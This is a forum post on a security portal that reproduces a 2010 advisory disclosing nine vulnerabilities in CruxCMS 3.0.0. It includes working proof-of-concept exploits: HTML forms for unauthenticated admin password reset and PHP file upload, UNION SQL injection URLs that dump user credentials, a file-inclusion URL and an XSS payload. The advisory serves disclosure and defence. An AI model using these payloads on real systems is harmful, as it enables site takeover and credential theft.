Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 29, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 613
Members: 0
Total: 613
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> [waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS
Post new topic  Reply to topic View previous topic :: View next topic 
[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS
PostPosted: Sun Dec 26, 2010 10:25 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Fresh advisory is out Smile

http://www.waraxe.us/advisory-78.html

Code:

[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS 3.0.0
===============================================================================

Author: Janek Vind "waraxe"
Date: 27. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-78.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CruxCMS is a lightweight, easy to use website content management system (CMS).
It is written in PHP and uses the powerful MySQL database.

http://www.cruxsoftware.co.uk/cruxcms.php


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against CruxCMS version 3.0.0

###############################################################################
1. Unauthorized password reset in "manager/passwordreset.php"
###############################################################################

Reason: directly accessible php script
Attack vectors: user submitted POST parameters "ID" and "Password"
Preconditions: none
Impact: attacker can take over CruxCMS admin account

Php script "manager/passwordreset.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
include ("../includes/injectionprevention.php");

$ID = numericquery($_POST["ID"]) ;

if (isset($ID)) {

$Password = preventinjection($_POST["Password"]);
$Password2 = md5($Password);

//Connect to database
include ("../includes/dbinfo.php");

// Insert data
$sqlquery = "UPDATE  " . usersdb . "  SET "
."Password ='" .$Password2 ."' WHERE ID ='" .$ID ."'";

$results = mysql_query($sqlquery);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 Unauthorized Password Reset PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/passwordreset.php" method="post">
<input type="hidden" name="ID" value="1">
<input type="hidden" name="Password" value="waraxe">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------


###############################################################################
2. Arbitrary file upload in "manager/processeditor.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none
Impact: attacker is able to write remote php files to any location.

Php script "manager/processeditor.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
$Name = preventinjection($_POST["name"]) ;
if (isset($_POST['Type'])) {
$Type = $_POST['Type'];
}

...

$head = $_POST["head"] ;
$headlink = $Name . ".php";

if ($Type == "Add") {

...

$fileopen = fopen($headlink, 'w') or die("can't open file");
fwrite($fileopen, $head);
fclose($fileopen);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processeditor.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processeditor.php" method="post">
<input type="hidden" name="Type" value="Add">
<input type="hidden" name="name" value="../images/info">
<input type="hidden" name="head" value="<?phpinfo();?>">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "images" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/images/info.php


###############################################################################
3. Arbitrary file upload in "manager/processfile.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processfile.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processfile.php"
enctype="multipart/form-data" method="post"method="post">
<input type="hidden" name="Action" value="Add">
<input type="file" name="uploadedfile" size="40">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "Uploads/Misc/" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/Uploads/Misc/info-38656.php

As seen above, random string ("38656" in this specific example) is concatenated
to the filename. For successful exploitation therefore two options exists:

a) if webserver directory listing is enabled, then filename can be easily found
b) bruteforce is possible -> ~100 000 tries needed max for filename guessing


###############################################################################
4. SQL Injection in "includes/classes/searchbox.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
  1. Search Box must be activated (active by default)
  2. Search must return at least one result
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/searchbox.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$query_fields = "p.Title p.Content";
   $query = "SELECT p.Name as PName, p.Title as PTitle, p.Content as PContent, p.Archive FROM  " . pagesdb . " p WHERE ";
   $query = $query . boolstring2sql_query($query_fields, $query_text);
    $query = $query . " AND p.Archive = 'No'";
    $query = $query . " LIMIT $from, $max_results";
    $query = $query . ";";
...
$sql_result = mysql_query($query , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
5. SQL Injection in "includes/classes/links.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
  1. Link Pages must be activated (inactive by default)
  2. At least one link must exist
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/links.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM  " . linksdb . " LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
6. SQL Injection in "includes/classes/news.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
  1. News Pages must be activated (inactive by default)
  2. At least one news must exist
  3. MySQL FILE Privileges needed (rare in real-world attack scenarios)
  4. Php setting magic_quotes_gpc=off needed (usually it's "On")
  5. attacker must have News editing privileges
  6. full path must be know to the directory, which is writable by MySQL UID/user
Impact: limited SQL Injection - if all conditions above are met, then it may be
possible writing files to the remote system, where MySQL daemon/service is installed

Source code snippet from "includes/classes/news.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM  " . newsdb . "  ORDER BY Date DESC  LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
This vulnerability differs from previous cases, because there is "ORDER BY"
before "LIMIT" in vulnerable SQL query. It renders common "UNION" attack method
useless and only exploitation possibility seems to be "INTO OUTFILE". Many
conditions are needed for such exploitation (see above), so specifix SQL
Injection case can be considered as minor one.


###############################################################################
7. Local File Inclusion in "includes/template.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "style"
Preconditions:
  1. Php setting "register_globals=on" needed

Example exploit:

http://localhost/cruxcms.3.0.0/includes/template.php?style=../white.gif


###############################################################################
8. Reflected XSS in "manager/login.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "message"
Preconditions: none

Example exploit:

http://localhost/cruxcms.3.0.0/manager/login.php?message=<script>alert(123);</script>


###############################################################################
9. Full Path Disclosure in multiple php scripts
###############################################################################

Examples:

http://localhost/cruxcms.3.0.0/manager/switcher.php?style[]

Warning: setcookie() expects parameter 2 to be string, array given in
C:\apache_wwwroot\cruxcms.3.0.0\manager\switcher.php on line 24


http://localhost/cruxcms.3.0.0/search.php?search[]

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:\apache_wwwroot\cruxcms.3.0.0\includes\classes\searchbox.inc.php on line 40


http://localhost/cruxcms.3.0.0/manager/filetypes.php

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in
C:\apache_wwwroot\cruxcms.3.0.0\manager\filetypes.php on line 24

http://localhost/cruxcms.3.0.0/styles/andreas01.php

Warning: include(includes/functions.php) [function.include]: failed to open stream:
No such file or directory in C:\apache_wwwroot\cruxcms.3.0.0\styles\andreas01.php on line 36



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://userguidenow.com/
---------------------------------- [ EOF ] ------------------------------------

View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Dec 27, 2010 12:29 am Reply with quote
x3roconf_
Advanced user
Advanced user
 
Joined: May 01, 2008
Posts: 101




Great find! Smile
View user's profile Send private message
[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS
  www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.125 Seconds